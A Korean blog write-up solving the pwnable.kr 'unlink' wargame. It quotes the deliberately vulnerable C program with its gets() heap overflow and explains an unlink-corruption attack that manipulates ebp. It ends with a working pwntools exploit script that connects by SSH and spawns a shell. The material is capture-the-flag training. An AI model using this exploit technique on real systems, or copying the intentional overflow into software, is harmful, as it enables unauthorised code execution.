[pwnable.kr] unlink
오늘로 pwnable.kr [Toddler's Bottle] 클리어입니다~~!!
후... 꽤 오래걸렸네여
unlink라고 하는 걸 보니, heap과 관련된 문제일것 같습니다.
unlink corruption~~
unlink 문제입니다. heap overflow와 관련되있어서 공부를 조금 했습니다.
접속하면 4개의 파일이 있는데, flag 및 intended_solution.txt의 권한이 unlink_pwn의 권한으로 되어있어 읽지를 못합니다.
그래서 unlink파일을 통해 읽어줘야하는데, 먼저 소스를 보면 아래와 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; } | cs |
보통은 unlink 버그는 free를 하면서 일어나는데, 여기서는 free를 하는 대신 unlink라는 함수를 따로 정의하여 사용하고 있습니다.
여기서 문제가 되는 부분은 이부분입니다.
1 2 3 4 5 6 7 8 | void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } | cs |
unlink(B)를 수행하여 B와 A<=>B<=>C의 연결을 끓어 A<=>C B 로 만들려는 것인데,
그 전에 gets(A->buf)함수를 통해 overflow가 발생하여, B의 fd값과 bk값을 덮을 수 있어
원하는 곳에 원하는 값을 덮을 수 있게 됩니다.
fd+4 = bk
bk = fd
가 되기 때문에, fd에 RET-4의 주소를 넣고, bk에 Shell의 주소를 넣으면 될것같았는데,
bk = fd 이 부분에서 bk가 Code영역에 있는 Shell의 주소라면 이 곳에 fd를 덮어쓰려고하면, 세그먼트폴트가 뜨기때문에 이렇게 해서 ret를 덮을 수 없습니다.
그래서 처음에는 Shellcode를 이용해서 call이나 jmp를 하려했으나....
나중에 깨달았지만.... NX가 걸려있더군여 ㅡㅡ;
덕분에 뻘짓만 엄청하고 다시 원점으로 돌아와서....
ret를 직접적으로 못 건드리니 unlink함수에 들어갔을 때 SFP를 조작하여, main의 esp값을 조작하기로 했습니다.
ebp를 조작하여 heap에 할당된 데이터영역(buf)를 새로운 스택으로 삼아 eip에 shell의 주소를 넣으면 됩니다.
그래서 ebp만 조작하다보니, main의 에필로그가 조금 다르더군여...
ecx에 ebp-0x4의 값을 저장시키고, ecx-0x4의 주소를 esp에 넣고 ret합니다.
ㅁㄴㅇㄹ... 이미 위에서 다르게 조작하는 저는 조금 다르게 payload가 짜였습니다.
다른분들은 진작에 main 에필로그가 다르단걸 깨닫고 ebp-0x4부분만 잘 덮어주셨네요 ㅇㅇ..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | from pwn import * s = ssh(user='unlink',host='pwnable.kr',port=2222,password='guest') conn = s.process("./unlink") #conn = process("./unlink") conn.recvuntil("here is stack address leak: ") stack_addr = int(conn.recvline().strip(),16) ret_addr = stack_addr+40 conn.recvuntil("here is heap address leak: ") heap_addr = int(conn.recvline().strip(),16) log.info("stack : "+hex(ret_addr)) log.info("heap : "+hex(heap_addr)) shell_address = 0x80484eb ebp_addr = stack_addr-0x1c fake_ebp = heap_addr+16 payload = p32(shell_address)+p32(fake_ebp-4)+"A"*8 payload += p32(fake_ebp) #fd fd+4=bk payload += p32(ebp_addr) #bk bk = fd conn.sendline(payload) conn.interactive() | cs |
위와 같이 하면 flag를 얻을 수 있습니다.
이게 의도했던 정답!
크게 다를건 없지만... 뭐 상관은 없습니다.
이걸로 [Toddler's Bottle] 클리어~~
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] horcruxes (2) | 2018.08.20 |
---|---|
[pwnable.kr] blukat (0) | 2018.08.20 |
[pwnable.kr] memcpy (0) | 2018.07.27 |
[pwnable.kr] asm (0) | 2018.07.27 |
[pwnable.kr] leg (0) | 2018.06.08 |